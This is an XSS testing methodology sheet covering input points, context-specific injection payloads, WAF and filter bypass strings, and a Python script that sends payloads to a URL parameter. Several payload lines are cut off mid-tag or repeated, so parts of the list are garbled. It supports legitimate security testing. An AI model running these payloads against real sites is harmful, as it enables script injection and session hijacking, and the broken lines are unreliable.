tomevault-io XSS Testing Methodology
Overview
Cross-Site Scripting allows attackers to inject malicious scripts into web pages viewed by other users.
Types
- Reflected XSS: Payload reflected in immediate response
- Stored XSS: Payload stored and executed later
- DOM-based XSS: Payload executed via client-side JavaScript
Testing Methodology
1. Identify Input Points
- URL parameters
- Form inputs
- HTTP headers (User-Agent, Referer)
- Cookies
- File upload names
2. Test Basic Payloads
<script>alert(1)</script>
<img src=x
<svg
"><script>alert(1)</script>
'><script>alert(1)</script>
3. Context-Specific Payloads
HTML Context
<script>alert(document.domain)</script>
<img src=x
<body
Attribute Context
"
' autofocus='
" autofocus="
JavaScript Context
';alert(1)//
';alert(1)//
</script><script>alert(1)</script>
URL Context
javascript:alert(1)
data:text/html,<script>alert(1)</script>
4. WAF Bypass Techniques
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x
<svg/onload=alert(1)>
<img src=x
5. Filter Bypass
<img src=x
<img src=x
PoC Template
import requests
def test_xss(url, param):
payloads = [
'<script>alert(1)</script>',
'<img src=x
'"><script>alert(1)</script>',
]
for payload in payloads:
r = requests.get(url, params={param: payload})
if payload in r.text:
print(f"[+] XSS found with: {payload}")
return True
return False
Impact
- Session hijacking
- Account takeover
- Defacement
- Keylogging
- Phishing
Converted and distributed by TomeVault — claim your Tome and manage your conversions.